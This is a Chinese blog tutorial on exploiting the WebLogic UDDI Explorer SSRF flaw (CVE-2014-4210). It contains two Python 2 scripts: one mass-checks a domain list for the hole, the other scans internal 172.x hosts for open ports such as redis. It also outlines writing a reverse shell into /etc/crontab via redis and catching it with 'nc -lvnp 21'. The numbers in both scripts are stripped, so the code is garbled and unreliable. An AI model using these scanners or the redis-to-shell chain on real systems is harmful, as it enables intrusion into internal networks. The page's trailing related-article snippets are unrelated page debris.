前言    什么是ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

举一个例子:

比如一个添加图文的功能,填入标题内容和封面图然后提交在网站前台显示,对于这个功能的图片它除了可以让你上传以外,还支持填入远程图片地址,如果你填入了远程的图片地址,则该网站会加载远程图过来进行显示,而如果程序写法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含进行一些恶意的脚本文件,或者你输入内网的 ip 或者一些系统的文件都会被解析执行,这个我们一般叫它 SSRF 即服务端请求伪造。

危害:一般我们是无法请求到系统上的文件的,内网的 ip 我们也是无法访问的,有了 SSRF 后,我们提交的加载连接是用服务器进行加载解析,实际上相当于我们以存在 SSRF 这个服务器为跳板进行的一些加载操作。

一般ssrf漏洞的页面是get请求,访问内网地址的时候返回的是状态码,根据返回信息,我们可以对内网的IP和端口进行信息收集,可以收集到一些内网机子的断开开放情况

比如redis服务,如果内网有IP开启6379端口,那么我们就可以用存在ssrf的机子给含有redis服务的机子发送命令,然后反弹shell.

有些ssrf还可以利用file协议对目标机本地的文件进行读取

00x01 环境

weblogic 10.36中间件

安装方法自行百度

由于weblogic 12最新版的 在官网下载不了,因此附上百度网盘下载连接:https://pan.baidu.com/s/1wz1_ctJJdaYYXaXpmNO0kw#list/path=%2F&parentPath=%2Fsharelink765468514-715314846720175

也可先试试官网下载:

https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

00x02 访问

安装成功后,打开user_projects下面的startWeblogic.cmd,我这个版本的weblogic的路径如图:

运行后跳出cmd运行终端,如果出现如下的字符提醒,说明weblogic开启成功

在浏览器中访问http://127.0.0.1:7001/console 控制台,看看是否能显示

可以正常访问。

00x03 检测漏洞

3.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

3.2、向服务器提交以下参数

?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

这个返回信息说明这个ip是存在的并且这个端口是开放的。

那么我们怎么知道他内网的ip呢,这个页面的Setup UDDI Explorer处泄露了网段,可以用脚本或者工具来跑

由于在我本机上面,而且并没用开内网环境,因此显示的是localhost,如果是实战的话就不是了

 3.3、访问一个不存在的端口会返回以下信息。

看我试着去访问一个不存在的端口,那么下面就会返回这样的信息,代表这个端口没有开放,不能访问。

看了猪猪侠关于ssrf漏洞的pdf,里面有四种回显信息

3.4、请求访问资源。

这里跟上了百度的url,服务器返回信息表示可以访问,但是并没有请求,那么就不可以访问远程小马了,因此我们试一试file协议

这里跟上了本机上面的一个真实文件的路径,然后访问不了,返回信息说不支持file协议,因此这个漏洞要看过滤规则吧,如果过滤规则不严谨,说不定连file协议都可以成功执行,进而可以访问远程马。

但是weblogic的ssrf漏洞过滤了很多协议,因此我们只能利用返回信息来判断是或者否。

3.5批量检测脚本

附上一个批量检测weblogic的ssrf漏洞的脚本

#!/usr/bin/env python  

# -*- coding: utf- -*-

import re

import sys

import Queue

import requests

import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()

mutex = threading.Lock()

class Test(threading.Thread):
def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def check(self,domain,ip): payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip) url = domain + payload try: html = requests.get(url=url, timeout=, verify=False).content m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html) if m: mutex.acquire() with open('ssrf1.txt','a+') as f: print "%s has weblogic ssrf." % domain f.write("%s has weblogic ssrf." % domain) mutex.release() except Exception,e: print e def get_registry(self,domain): payload = 'uddiexplorer/SetupUDDIExplorer.jsp' url = domain + payload try: html = requests.get(url=url, timeout=, verify=False).content m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html) if m: return m.group() except Exception,e: print e def run(self): while not self.queue.empty(): domain = self.queue.get() mutex.acquire() print domain mutex.release() ip = self.get_registry(domain) self.check(domain,ip) self.queue.task_done() if __name__ == '__main__': with open('domain.txt','r') as f: lines = f.readlines() for line in lines: queue.put(line.strip()) for x in xrange(,): t = Test(queue) t.setDaemon(True) t.start() queue.join()

是py2脚本的

新建一个domain.txt文件,里面写入需要检测的url地址跟端口,可以跟多个

然后运行py文件

判断出了存在weblogic的ssrf漏洞

3.6 批量探测内网redis服务端口开启

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,

而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是

docker的网段(docker环境的网段一般是172.*):

下面用一个python2 小脚本来实现172.*段的内网端口探测这个功能:

import thread
import time
import re
import requests def ite_ip(ip):
for i in range(, ):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep() def scan(final_ip):
ports = ('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '','','')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != and len(result2) == and len(result3) == :
print '[!]'+final_ip + ':' + port
except Exception, e:
pass if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"

将存在ssrf漏洞的url覆盖掉上面的url部分

如果有ip存在6379端口,那么此ip就开放了redis服务,那么我们就可以利用存在ssrf的服务器作跳板,向开启redis服务的机子将弹shell脚本写入/etc/crontab,然后在跳板上开启端口监听,nc -lvnp 21 ,反弹shell

00x04 总结

1.在任何可以导入链接的地方都可以试试是否存在ssrf漏洞;

2.如果存在ssrf漏洞,那么看一看可不可以利用file协议,可以利用file协议读取文件;

3.如果只能依靠返回信息,那么可以利用脚本来扫描内网的存活主机和端口扫描,做一个内网的信息收集。如果扫描到一些能利用的端口漏洞,就可以利用服务器做跳板对其进行利用,比如redis服务。

4.这里给出一个大牛的脚本,可以很方便的探测ssrf的网段以及每个网段的端口,甚至还有反弹shell的功能:

地址:  https://github.com/NoneNotNull/SSRFX

参考链接:

https://www.freebuf.com/column/194040.html
https://www.cnblogs.com/bmjoker/p/9759761.html
https://blog.csdn.net/fageweiketang/article/details/88983921

weblogic的ssrf漏洞的更多相关文章

  1. SSRF漏洞

    概念:服务端在获取攻击者输入的url时,如果这个过程中,服务端并没有对这个url做任何的限制和过滤,那么就很有可能存在ssrf漏洞. 漏洞利用:SSRF攻击的目标一般是外网无法访问的内部系统.攻击者可 ...

  2. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧

    在刚结束的互联网安全城市巡回赛中,R师傅凭借丰富的挖洞经验,实现了8家SRC大满贯,获得了第一名的好成绩!R师傅结合自身经验并期许新手小白要多了解各种安全漏洞,并应用到实际操作中,从而丰富自己的挖洞经 ...

  3. SSRF漏洞的挖掘思路与技巧

    什么是SSRF? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法 ...

  4. weblogic从ssrf到redis获取shell

    一.环境搭建和知识储备 1.1.影响版本 漏洞编号:CVE-2014-4210 weblogic 10.0.2.0 weblogic 10.3.6.0 1.2.Docker搭建环境 1.进入vulhu ...

  5. WebLogic SSRF 漏洞 (简要翻译)

    [Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...

  6. weblogic系列漏洞整理 -- 5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)

    目录 五. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210) 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  7. weblogic ssrf 漏洞笔记

    CVE-2014-4210 Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机.比如有一个jsp页面SearchPublicReqistries.jsp, ...

  8. Weblogic SSRF漏洞(CVE-2014-4210)

    Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 关于SSRF漏洞我们就不讲了,传送门--> SSRF(服务端请求 ...

  9. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

随机推荐

  1. java 循环变量

    方法:是一段完成特定功能代码的片段. 格式: [修饰符1 修饰符2 ......]返回值类型 方法名(形式参数列表){ java语句;....... } 形式参数:在方法被调用时用于接收外界输入的数据 ...

  2. 分享下超实用的用skura frp做内网穿透的经验

    操作目的: 使无公网ip的主机能被外网访问,实现ssh对服务器的远程管理 硬件准备: 1.服务端:skura frp主机(skura frp 免费提供,有待创建) 2.客户端:接在无线路由器(内网)上 ...

  3. MongoDB集群负载不均衡问题定位及解决

    1.问题描述 这是一套运行在腾讯云上的MongoDB 3.6版本集群,共5个分片,每片规格是6核16GB. 在压测的过程中,发现第3个分片的CPU使用率长时间高达96%,其它4个分片的CPU使用率都没 ...

  4. 常见的MIME类型与00截断

    常见的MIME类型 1)超文本标记语言.html文件的MIME类型为:text/html 2)普通文本.txt文件的MIME类型为:text/plain 3)PDF文档.pdf的MIME类型为:app ...

  5. BigDecimal精确计算工具类

    前言 在实际开发中,遇到例如货币,统计等商业计算的时候,一般需要采用java.math.BigDecimal类来进行精确计算.而这类操作通常都是可预知的,也就是通用的.所以,写了个工具类来方便以后的工 ...

  6. 小白的linux笔记4:几种共享文件方式的速度测试——SFTP(SSH)/FTP/SMB

    测试一下各个协议的速度,用一个7205M的centos的ISO文件上传下载.5Gwifi连接时,本地SSD(Y7000)对服务器的HDD: smb download 23M/s(资源管理器) smb ...

  7. 异步处理MultipartFile No such file or directory的分析

    背景 项目中开发导入功能,因为数据量比较大,所以要求后端异步操作(个人觉得前端ajax处理最好,有空再试一下).但是操作中发现改为异步之后,相同代码的情况下会报(No such file or dir ...

  8. 广度优先搜索BFS---求出矩阵中“块”的个数

    题目: 给出一个 m x n 的矩阵,矩阵中的元素为0或1.如果矩阵中有若干个 1是相邻的,那么称这些1构成了一个“块”.求给定的矩阵中“块”的个数. 0 1 1 1 0 0 1 0 0 1 0 0 ...

  9. 浅谈mysql触发器

    什么是触发器?简单的说,就是一张表发生了某件事(插入.删除.更新操作),然后自动触发了预先编写好的若干条SQL语句的执行.触发器本质也是存储过程,只是不需要手动调用,触发某事件时自动调用.触发器里的S ...

  10. jQuery---jquery.ui实现新闻模块

    jquery.ui实现新闻模块 jquery也有ui,了解即可,用的不多,类似element ui 和bootstrap JQuery UI API: jquery.ui实现新闻模块 draggale ...